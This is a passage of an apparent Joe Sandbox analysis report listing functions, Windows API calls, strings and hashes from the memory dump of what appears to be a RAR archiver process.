Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction ID: 21bcadc82329620248b65dc8f8f14db70ac4b862c7d81e7319570bb6f801b9a5
Opcode Fuzzy Hash: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction Fuzzy Hash: 39F0FF22A0824A44FF248F20E8483BE2250DB82BBAF685330D23C850D8CF28D893D352

Function 00007FF629B238A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction ID: a8add1610653921f09f4fe96836c473ba67a97f320542a2d2860c503f9d1c6fe
Opcode Fuzzy Hash: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction Fuzzy Hash: 13E09A50F1930E41ED5D2E621C5107E02419F9BB82E555439D91E8EB82AD2EA4557712

Function 00007FF629B5FA10 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 00007FF629B5FA20

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction ID: f520c22a519da044a257c0007ebe333de436a1715a0124cf41c93b0e335f8dfe
Opcode Fuzzy Hash: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction Fuzzy Hash: 0ED01765E2AD0E82FF04DF41EC4433A2261AFE639BF514634C40C846508FAC2444BB02

Function 00007FF629B14538 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,?,00000000,?,00007FF629B37A8C), ref: 00007FF629B14549

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction ID: 23519664df3fbfc6256494e6c5935e06b90c8485179d0ebcc94eda11b0213bbd
Opcode Fuzzy Hash: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction Fuzzy Hash: 45C02B21E0548680CD045B2F8C5A13C2110BFC7B37FD41330C23D451E0CF1810EB4301

Non-executed Functions

Function 00007FF629B0D2C0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 313fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF629B0D4A6
CloseHandle.KERNEL32 ref: 00007FF629B0D4B9

Part of subcall function 00007FF629B0EF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF629B0EE47), ref: 00007FF629B0EF73
Part of subcall function 00007FF629B0EF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF629B0EE47), ref: 00007FF629B0EF84
Part of subcall function 00007FF629B0EF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF629B0EFA7
Part of subcall function 00007FF629B0EF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF629B0EFCA
Part of subcall function 00007FF629B0EF50: GetLastError.KERNEL32 ref: 00007FF629B0EFD4
Part of subcall function 00007FF629B0EF50: CloseHandle.KERNEL32 ref: 00007FF629B0EFE7

CreateDirectoryW.KERNEL32 ref: 00007FF629B0D4C6
CreateFileW.KERNEL32 ref: 00007FF629B0D64A
DeviceIoControl.KERNEL32 ref: 00007FF629B0D68B
CloseHandle.KERNEL32 ref: 00007FF629B0D69A
GetLastError.KERNEL32 ref: 00007FF629B0D6AD
RemoveDirectoryW.KERNEL32 ref: 00007FF629B0D6FA
DeleteFileW.KERNEL32 ref: 00007FF629B0D705

Part of subcall function 00007FF629B12310: FlushFileBuffers.KERNEL32 ref: 00007FF629B1233E
Part of subcall function 00007FF629B12310: SetFileTime.KERNEL32 ref: 00007FF629B123DB

Part of subcall function 00007FF629B11930: FindCloseChangeNotification.KERNELBASE ref: 00007FF629B11958

Part of subcall function 00007FF629B139E0: SetFileAttributesW.KERNEL32(?,00007FF629B134EE,?,?,?,?,00000800,00000000,00000000,00007FF629B238CB,?,?,?,00007FF629B241EC), ref: 00007FF629B13A0F
Part of subcall function 00007FF629B139E0: SetFileAttributesW.KERNEL32(?,00007FF629B134EE,?,?,?,?,00000800,00000000,00000000,00007FF629B238CB,?,?,?,00007FF629B241EC), ref: 00007FF629B13A3C

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 00007FF629B0D328
\??\, xrefs: 00007FF629B0D390
SeRestorePrivilege, xrefs: 00007FF629B0D31C
UNC\, xrefs: 00007FF629B0D3BD

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: File$Close$CreateHandle$AttributesDirectoryErrorLastProcessToken$AdjustBuffersChangeControlCurrentDeleteDeviceFindFlushLookupNotificationOpenPrivilegePrivilegesRemoveTimeValue
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2827264287-3508440684
Opcode ID: 1a7d86559847920f8bb109ab3d7291439b8a259b3f48a060f5ee007c4e7161c6
Instruction ID: df852874d813e6872ed19f9520ed5e15e39564c9c1c9bcc98071937d93702583
Opcode Fuzzy Hash: 1a7d86559847920f8bb109ab3d7291439b8a259b3f48a060f5ee007c4e7161c6
Instruction Fuzzy Hash: 54D1C026A0868A85EF209F21D9402FE73A0FFC6799F404131DA5D876D9DF3DE50AE702

Function 00007FF629B3AE50 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 281libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF629AF2E4C), ref: 00007FF629B3AEE9
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF629AF2E4C), ref: 00007FF629B3AF01
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF629AF2E4C), ref: 00007FF629B3AF19
GetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF629AF2E4C), ref: 00007FF629B3AF75
GetFullPathNameA.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF629AF2E4C), ref: 00007FF629B3AFB0
SetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF629AF2E4C), ref: 00007FF629B3B23B
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF629AF2E4C), ref: 00007FF629B3B244
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF629AF2E4C), ref: 00007FF629B3B287

Strings

SMTP:, xrefs: 00007FF629B3B069
MAPIResolveName, xrefs: 00007FF629B3AEF7
MAPI32.DLL, xrefs: 00007FF629B3AEC2
MAPISendMail, xrefs: 00007FF629B3AEDF
MAPIFreeBuffer, xrefs: 00007FF629B3AF0F

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryFreeLibrary$FullNamePath
String ID: MAPI32.DLL$MAPIFreeBuffer$MAPIResolveName$MAPISendMail$SMTP:
API String ID: 3483800833-4165214152
Opcode ID: 8f878c9cc2ffebf2ccf382536ffbb2373ba61f84303543efc970922cd888523d
Instruction ID: 73ddcc5efddaeace6bc4384ae31165ddfe055970f187afffc4b3c856f04c9d8a
Opcode Fuzzy Hash: 8f878c9cc2ffebf2ccf382536ffbb2373ba61f84303543efc970922cd888523d
Instruction Fuzzy Hash: D4C18C22A19A8A86EF10EF22EC502FE37A0FB86B95F440135DA4D87799DF3CE505D701

Function 00007FF629B0E21C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,00000001,?,00007FF629AF2014), ref: 00007FF629B0E298
FindClose.KERNEL32(?,?,?,00000001,?,00007FF629AF2014), ref: 00007FF629B0E2AB
CreateFileW.KERNEL32(?,?,?,00000001,?,00007FF629AF2014), ref: 00007FF629B0E2F7

Part of subcall function 00007FF629B0EF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF629B0EE47), ref: 00007FF629B0EF73
Part of subcall function 00007FF629B0EF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF629B0EE47), ref: 00007FF629B0EF84
Part of subcall function 00007FF629B0EF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF629B0EFA7
Part of subcall function 00007FF629B0EF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF629B0EFCA
Part of subcall function 00007FF629B0EF50: GetLastError.KERNEL32 ref: 00007FF629B0EFD4
Part of subcall function 00007FF629B0EF50: CloseHandle.KERNEL32 ref: 00007FF629B0EFE7

DeviceIoControl.KERNEL32 ref: 00007FF629B0E357
CloseHandle.KERNEL32(?,?,?,00000001,?,00007FF629AF2014), ref: 00007FF629B0E362

Strings

SeBackupPrivilege, xrefs: 00007FF629B0E27E

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Close$FileFindHandleProcessToken$AdjustControlCreateCurrentDeviceErrorFirstLastLookupOpenPrivilegePrivilegesValue
String ID: SeBackupPrivilege
API String ID: 3094086963-2429070247
Opcode ID: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction ID: b025e8e681e76cf97e464685f6c5b3c87aad954fed80941c5fde377eedbdf88b
Opcode Fuzzy Hash: 6b1f5dc95f58b75a03985b82b44585fe4ffe7301fcc115945b13fd181dcb0710
Instruction Fuzzy Hash: CF61D236A1864686EF248F21E9402FE3360FB86799F404239DB6E976D4DF3CE145E702

Function 00007FF629B2AF0C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 427COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF629B2AFA0

Part of subcall function 00007FF629B3B6D0: Sleep.KERNEL32(?,?,?,?,00007FF629B0CBED,?,00000000,?,00007FF629B37A8C), ref: 00007FF629B3B730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629B2B185
new.LIBCMT ref: 00007FF629B2B18F

Strings

%ls%0*u.rev, xrefs: 00007FF629B2B170
, xrefs: 00007FF629B2B2B6

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: Sleepswprintf
String ID: $%ls%0*u.rev
API String ID: 407366315-3491873314
Opcode ID: 782f304219662b4eecf027b144e7046621da4246e6178cffb5e29678f0c5f42f
Instruction ID: 8122ee4a4e160657023ab1bd96a0b6740bc15c151a77c02f6e5ad24a94da0c69
Opcode Fuzzy Hash: 782f304219662b4eecf027b144e7046621da4246e6178cffb5e29678f0c5f42f
Instruction Fuzzy Hash: AD02F132E0469686EF20DF26D8542AE73A5FBCA785F40013ADE5D8BB99DE3CE441D701

Function 00007FF629AF49B8 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 372COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF629AF4BD8

Part of subcall function 00007FF629B3B6D0: Sleep.KERNEL32(?,?,?,?,00007FF629B0CBED,?,00000000,?,00007FF629B37A8C), ref: 00007FF629B3B730

Part of subcall function 00007FF629B11E80: CreateFileW.KERNELBASE ref: 00007FF629B11F4A
Part of subcall function 00007FF629B11E80: GetLastError.KERNEL32 ref: 00007FF629B11F59
Part of subcall function 00007FF629B11E80: CreateFileW.KERNELBASE ref: 00007FF629B11F99
Part of subcall function 00007FF629B11E80: GetLastError.KERNEL32 ref: 00007FF629B11FA2
Part of subcall function 00007FF629B11E80: SetFileTime.KERNEL32 ref: 00007FF629B11FF1

Strings

%s, xrefs: 00007FF629AF4EAF
%12s %s, xrefs: 00007FF629AF4E58
%12s %s, xrefs: 00007FF629AF4E8E
, xrefs: 00007FF629AF4F01

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$SleepTime
String ID: %12s %s$%12s %s$ $%s
API String ID: 2965465231-221484280
Opcode ID: 05a7e0e299e76d3b599cecb2db35fae30976aa6c46bd72ff832a0ef8c8ec7fe1
Instruction ID: 5451078557c3eb9e69904f9499193867b86e488ee7d0074b79f3b4b45b863256
Opcode Fuzzy Hash: 05a7e0e299e76d3b599cecb2db35fae30976aa6c46bd72ff832a0ef8c8ec7fe1
Instruction Fuzzy Hash: CAF1BA22B09A4686EF60DF12D8582BE73A0FB86B88F444035DE4D87786DF3ED555E702

Function 00007FF629B54C10 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF629B54C89
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF629B54CA1
RtlVirtualUnwind.KERNEL32 ref: 00007FF629B54CDC
IsDebuggerPresent.KERNEL32 ref: 00007FF629B54D15
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF629B54D1F
UnhandledExceptionFilter.KERNEL32 ref: 00007FF629B54D2A

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction ID: 913352eae891dacc841e64cf9224aa7c05bb6e4ef6d708a498b8bec826e747ca
Opcode Fuzzy Hash: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction Fuzzy Hash: 62318036608B8586DB60CF25EC502AE73A0FBC975AF500139EA8D93B98DF3CD555DB01

Function 00007FF629B0EF50 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF629B0EE47), ref: 00007FF629B0EF73
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF629B0EE47), ref: 00007FF629B0EF84
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF629B0EFA7
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF629B0EFCA
GetLastError.KERNEL32 ref: 00007FF629B0EFD4
CloseHandle.KERNEL32 ref: 00007FF629B0EFE7

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction ID: 362c3299bd5b9acbbd214fe102ef8c68a8ca82e0433a1f88ef6911673db9483b
Opcode Fuzzy Hash: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction Fuzzy Hash: D611303261874A86EB508F22E85056F77A4FBC9F81F545535EA8E83668DF3CE005DB41

Function 00007FF629AF42E0 Relevance: 6.3, APIs: 4, Instructions: 344COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629AF72C4: new.LIBCMT ref: 00007FF629AF73DE

Part of subcall function 00007FF629AF8010: SetLastError.KERNEL32 ref: 00007FF629AF803D

new.LIBCMT ref: 00007FF629AF448C
new.LIBCMT ref: 00007FF629AF44C5
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF629AF4573
_CxxThrowException.LIBVCRUNTIME ref: 00007FF629AF4584

Part of subcall function 00007FF629B0CA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF629B0CEDE

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
